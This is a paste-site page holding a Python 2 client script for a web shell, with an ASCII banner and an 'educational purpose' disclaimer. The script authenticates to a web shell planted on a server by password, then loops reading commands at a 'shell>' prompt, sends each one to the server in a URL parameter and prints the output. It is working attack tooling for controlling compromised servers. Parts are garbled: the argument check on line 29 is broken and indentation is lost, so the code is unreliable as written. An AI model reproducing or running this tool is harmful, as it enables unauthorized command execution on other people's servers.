tiny shell - python client

From Gray Bird, 4 Months ago, written in Python, viewed 56 times.
URL https://secploit.com/view/7cbe3d5c Embed
Download Paste or View Raw
  1. #!/usr/bin/python
  2. #coded by : Lawrence Amer
  3. # coder is not responsiable for any harmful use of this tool . made just for educational purpose
  4. import os
  5. import urllib2
  6. import sys
  7.  
  8. #console colors
  9. W  = '\033[0m'  # white (normal)
  10. R  = '\033[31m' # red
  11. G  = '\033[32m' # green
  12. O  = '\033[33m' # orange
  13. B  = '\033[34m' # blue
  14. P  = '\033[35m' # purple
  15. C  = '\033[36m' # cyan
  16. GR = '\033[37m' # gray
  17. banner=(O+"""
  18.     ,AM   ,pP""Yq.       ,AM  
  19.    AVMM  6W'    `Wb     AVMM  
  20.  ,W' MM  8M      M8   ,W' MM  
  21. ,W'   MM  YA.    ,A9 ,W'   MM  
  22. AmmmmmMMmm `Ybmmd9'  AmmmmmMMmm
  23.      MM                   MM  
  24.      MM                   MM
  25.  
  26.     [+] this tool has been made to help security Researcher to do Trusted and authorized Testing!
  27.     [+] Coder Name : Lawrence Amer
  28. """)
  29. if len(sys.argv) < 2> <password> "% sys.argv[0]
  30.  sys.exit(1)
  31. print banner
  32. url = sys.argv[1]
  33. password = sys.argv[2]
  34. data = "?password=%s"% password
  35. command = data+"&command"
  36. checker= False
  37. try:
  38. print G+"[~]Establishing a connection .."
  39. rec = urllib2.Request(url+data)
  40. response = urllib2.urlopen(rec)
  41. check = response.read()
  42. i = len(check)
  43. f = check.find("$.")
  44. #print f
  45. #print i #activate it when you want to customize file length size
  46.  
  47. if (f==0): #
  48.   print(P+"""
  49. ----------------------------------------
  50.          HOWDY!
  51.          404  SECURE SHELL .. v1.0
  52.          YOU ARE Connected ! ...
  53. ----------------------------------------
  54.          """)
  55.  
  56.   checker= True
  57.   while checker:
  58.     cmd=raw_input(R+"shell> ")
  59.     newcmd=cmd.replace(" "," ")  
  60.     rec2 = urllib2.Request(url+command+"=%s"%(newcmd))
  61.     #urlencode=urllib2.unquote(rec2)
  62.     response = urllib2.urlopen(rec2)
  63.     check2 = response.read()
  64.     print(G+"--&gt;"+check2)
  65. else:
  66.    print R+" [!].sorry..password is not correct .."
  67.    
  68. except:
  69. print "[~] Connection LOST !"  
  70.  
  71.  
  72.  
  73.  

Reply to "tiny shell - python client"

Here you can reply to the paste above